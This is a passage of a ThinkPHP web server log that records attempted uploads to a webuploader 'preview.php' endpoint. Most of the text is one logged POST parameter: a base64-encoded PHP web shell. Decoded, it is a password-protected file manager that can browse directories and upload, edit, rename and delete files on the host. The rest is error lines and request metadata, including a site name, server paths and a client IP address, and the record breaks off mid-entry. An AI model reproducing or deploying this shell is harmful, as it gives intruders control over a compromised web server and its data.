'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:30+08:00 ] 116.213.36.234 POST 51tianwei.com/001/lib/webuploader/0.1.15/server/server/preview.php [运行时间:0.002407s] [吞吐率:415.44req/s] [内存消耗:196.72kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '001', 2 => 'lib', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 